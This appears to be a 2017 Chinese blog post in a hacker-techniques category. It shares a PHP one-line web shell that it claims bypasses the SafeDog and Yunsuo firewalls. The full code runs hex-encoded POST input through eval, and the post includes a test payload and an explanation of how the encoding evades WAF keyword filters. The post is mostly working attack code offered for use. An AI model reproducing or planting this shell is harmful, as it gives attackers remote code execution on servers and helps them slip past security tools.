过狗过云锁一句话
作者:admin | 时间:2017-12-15 12:41:40 | 分类:黑客技术 隐藏侧边栏展开侧边栏
今天在群里面看到一些机油讨论一些话题。
		
	
看到一个据说是过狗过云锁的一句话。
		
	
<?php error_reporting(0);set_time_limit(0);$a=$_POST["x"];if($a){$a=str_replace(array("\n","\t","\r"),"",$a);$b="";for($i=0;$i<strlen($a);$i+=2)$b.=urldecode("%".substr($a,$i,2));eval($b);exit;};?>
测试 x=706870696E666F28293B
	
		
	
		
	
		 
	
		
	
		
这个脚本的意思是
每次取两个 
例如第一次 70  加上这个%符号 url 解码 就是p
<?php
echo urldecode("%70");
?>
然后每次拼接 phpinfo():
	
		
	
可以绕过一些post 连接 phpinfo() 关机键的waf 例如低版本d盾
		
	
		
	
作者:( mOon )原创
